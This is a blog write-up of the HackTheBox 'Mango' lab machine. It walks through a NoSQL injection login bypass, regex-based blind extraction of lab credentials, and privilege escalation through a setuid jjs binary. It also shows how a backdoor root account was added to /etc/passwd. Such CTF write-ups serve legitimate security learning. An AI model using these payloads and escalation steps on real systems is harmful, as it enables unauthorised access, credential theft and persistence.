HackTheBox - Mango
Mango just retired on HackTheBox, it was an Medium difficulty Linux box. As usual I really liked the whole exploration process especially the custom exploitation part and learned a bit about Mongodb. I know I say this every-time but this box is my favorite box so far.
Tl;Dr: User flag was accessible after exploiting an NoSQL injection flaw to extract usernames and passwords of accounts present on the box. Those credentials can be used to SSH login to the box as mango
then pivoting to the admin
user holding the flag by su
to it using the password extracted previously.
The root flag was accessible by exploiting the jjs
binary that have setuid bit set allowing to read and write files on the box as root
user.
Alright! Let’s get into the details now!
First thing first, let’s add the box IP to the host file:
1 | [hg8@archbook ~]$ echo "10.10.10.162 mango.htb" >> /etc/hosts |
and let’s start!
User Flag
Recon
Let’s start with the classic nmap
scan to see which ports are open on the box:
1 | [hg8@archbook ~]$ nmap -sV -sT -sC mango.htb |
We have a classical web apps running on port 80 and 443 and the SSH port 22 open.
nmap
scan display an interesting information about the SSL certificate on port 443:staging-order.mango.htb
. Let’s add this staging-order
to our hosts
file since it can come useful in the future.
1 | [hg8@archbook ~]$ echo "10.10.10.162 staging-order.mango.htb" >> /etc/hosts |
Opening http://mango.htb
display a forbidden page while https://mango.htb
display a search engine:
Note: Because Chrome wouldn’t display this page because of wrong certificate I completely skipped it before noticing it was accessible with Firefox. Because of that I accidentally avoided a big rabbit-hole. Win-Win.
Let’s fire gobuster
to check if we can find interesting directories and/or pages there:
1 | [hg8@archbook ~]$ gobuster dir -u http://mango.htb/ -w ~/SecLists/Discovery/Web-Content/big.txt -x php |
Nothing here it seems… Let’s try port 443. We use option -k
to skip SSL certificate verification:
1 | [hg8@archbook ~]$ gobuster dir -u https://mango.htb/ -w ~/SecLists/Discovery/Web-Content/big.txt -x php -k |
Not a lot of results but analytics.php
sounds interesting. After a bit of research it turned out to be a rabbit hole I will skip it.
So what remain now ? Only http://staging-order.mango.htb
.
Opening it display a classic login page :
gobuster
doesn’t find any other interesting directories or pages so let’s focus on this login page.
What do we first try when seeing a login page ? Injection of course!
After a few blind tries of common injection we don’t get any results. It’s kind of difficult to find the right payload because we don’t have any informations on the backend…
At this point I felt a bit out of ideas at this point to be honest. Taking a break helped me clear up my mind and think more carefully about the situation.
Since we are on hackthebox
we know that box name often give tips on what’s going on. So Mango…mango…mongo…mongodb?
Mongodb might be a nice start to try new techniques on this box. As a reminder:
MongoDB is a cross-platform document-oriented database program. Classified as a NoSQL database program, MongoDB uses JSON-like documents with schema.
https://www.mongodb.com/
Mongodb is a NoSQL database software, and, as for SQL, NoSQL can be exploited by injection if input is not properly sanitized.
A lot of example are available when searching on google. This blog post gives the following example to bypass a login form:
1 | POST http://target/ |
NoSQL Injection
Let’s give it a try !
1 | curl 'http://staging-order.mango.htb/' --data "username[$ne]=test&password[$ne]=test&login=login" -v |
This time we got a 302 Found
! Seems like the injection succeed and bypassed the login form. Let’s relaunch the request with -L
flag to prevent curl
from redirecting back to the login page:
1 | [hg8@archbook ~]$ curl 'http://staging-order.mango.htb/' --data "username[$ne]=test&password[$ne]=test&login=login" -L |
Nothing there either… That’s disappointing. But we are definitely on the right track.
Blind NoSQL data extract
Let’s summarize what we knows:
- We can do NoSQL injection.
- Successful injection will return
302 Found
.
Those two informations are enough to allow us to blindly extract data from the Mongodb instance. Here is an example :
Using $regex
we will be able to submit a regex by injection. If the regex have a match the server will return 302 Found
. This will allows us to extract data.
For example if sending the following payloadusername[$regex]=^a&password[$ne]=test
return:
302 Found
means that the regex matched, so username start with aa
.200 OK
the regex did not match.
Following this logic we can try with the next letter with regex ^ad
, ^adm
, ^admi
and ^admin
and so on until we get full username. You get the idea ? :)
And once we have the full username we can do the exact same to extract the password.
Having all of those informations in mind, we can craft a script to do the job for us :
1 | import requests |
Let’s try that!
1 | [hg8@archbook ~]$ python extract_user.py |
So the user account is …. admin
. I think we could have guessed it after all.
Let’s now tweak our script to do the same for extracting passwords:
1 | import requests |
Let’s launch it:
1 | [hg8@archbook ~]$ python extract_password.py admin |
While we could have bruteforced the admin
username using a wordlist it definitely wouldn’t have been possible for the password.
We now have a username and a password (admin
:t9KcS3>!0B#2
). What the first thing we do when we have those kind of informations ? Login to SSH of course:
1 | [hg8@archbook ~]$ ssh [email protected] |
Nop doesn’t work.
Then maybe another user account can be extracted from Mongodb instance, let’s tweak our regex to return an user that is not admin
:
1 | - "username[$regex]": "^"+username+c, |
1 | [hg8@archbook ~]$ python extract_user.py |
We could have guessed this one aswell. Let’s get its password:
1 | [hg8@archbook ~]$ python extract_password.py mango |
Alright we have mango
:h3mXK8RhU~f{]f5H
, let’s try to SSH again:
1 | [hg8@archbook ~]$ ssh [email protected] |
That’s a good step ahead! Unfortunately no user flag here…
Pivot mango -> admin
Let’s do a bit of enumeration:
1 | mango@mango:~$ ls -l /home |
User admin
holds the flag. Let’s try to access it using common method since we probably got its password (t9KcS3>!0B#2
):
1 | mango@mango:~$ sudo -u admin cat /home/admin/user.txt |
Oops, obligatory xkcd
Maybe the simple su
command then ?
1 | mango@mango:~$ su - admin |
Alright that was not that hard was it ? Let’s move on to the root flag.
Root Flag
Recon
One of the first I do while doing recon is to search for binaries with setuid bit enabled first. It’s always an easy way to privilege escalation.
As a reminder:
Binaries with the setuid bit enabled, are being executed as if they were running under the context of the root user. This enables normal (non-privileged) users to use special privileges, like opening sockets. While this seems unnecessary for a normal user, it is actually needed for simple commands like ping.
1 | admin@mango:/$ find / -perm -u=s -type f 2>/dev/null |
This jjs
binary catch my eye because it’s not common to see it having the setuid bit. If you wonder what jjs
stands for, it stands for Java JavaScript.
jjs setuid exploitation
Let’s search online to see if we can do something with this jjs
binary. My favorite resource is GTFOBins
.
GTFOBins is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.
The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks.
According to it, jjs
could be used to execute commands, read and write file. Sounds incredibly useful for us especially since the setuid is set meaning the command will be ran as root
.
Let’s give it a try to read the root.txt
flag:
1 | admin@mango:/$ echo 'var BufferedReader = Java.type("java.io.BufferedReader"); |
So we got the root flag! But this not fun enough right ? It would be better to login as root.
To do so I am going to show an alternative method from the usual SSH key retrieval/adding I usually use.
This time we are going to add a new root account to the box by adding a new line to the /etc/passwd
file.
First let’s generate the hash of our password:
1 | admin@mango:/$ openssl passwd -1 |
We are going to add a new user called hg8
with the the uid 0
(to be root) to the passwd
file with the following line:
1 | hg8:$1$3H6dixbQ$xxxxxxxxxxxxj7TueW/J.:0:0:root:/root:/bin/bash |
Now let’s use the jjs
binary to write to /etc/passwd
file as root, let’s tweak the example shown on GTFOBins
to append data to a file instead of creating a new one and let’s go:
1 | admin@mango:/$ jjs |
Let’s verify it worked and login as our new user :
1 | admin@mango:/$ cat /etc/passwd |
Now that we are root and done let’s not forget to clean up our changes to not spoil other users!
As always do not hesitate to contact me for any questions or feedbacks ;)
See you next time !
-hg8